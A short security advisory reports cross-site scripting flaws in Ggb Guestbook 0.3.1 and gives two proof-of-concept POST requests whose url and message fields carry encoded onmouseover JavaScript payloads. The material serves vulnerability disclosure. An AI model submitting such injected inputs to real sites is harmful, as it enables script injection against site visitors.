Ggb Guestbook 0.3.1 Cross Site Scripting

`Title: Ggb Guestbook - XSS Vulnerabilities  
  
Software : Ggb Guestbook  
  
Software Version : 0.3.1  
  
Vendor: http://gelin.ru/soft/project/ggb/  
http://code.google.com/p/ggbook/   
  
Vulnerability Published : 2012-01-05  
  
Vulnerability Update Time :  
  
Status :   
  
Impact : Medium  
  
Bug Description :  
Ggb Guestbook(version update : 0.3.1) is vulnerable to XSS.  
  
Proof Of Concept :  
1)url in action/add-submit.php , PoC:  
POST http://127.0.0.1/ggb/?action=add-submit  
-------------------------------------------------  
name=demonalex&email=&url=%22+onmouseover%3D%22javascript%3Aalert%28%27demonalex%27%29%3B%22%3E&message=demonalex  
  
2)message in action/add-submit.php , PoC:  
POST http://192.168.10.211/ggb/?action=add-submit  
-------------------------------------------------  
name=aaa&email=&url=bbb&message=%3Cimg+src%3D%22aaa.jpg%22+onmouseover%3D%22javascript%3Aalert%28%27demonalex%27%29%3B%22%3E  
  
Credits : This vulnerability was discovered by demonalex(at)163(dot)com  
mail: demonalex(at)163(dot)com / [email protected]  
Pentester/Researcher  
Dark2S Security Team/PolyU.HK  
`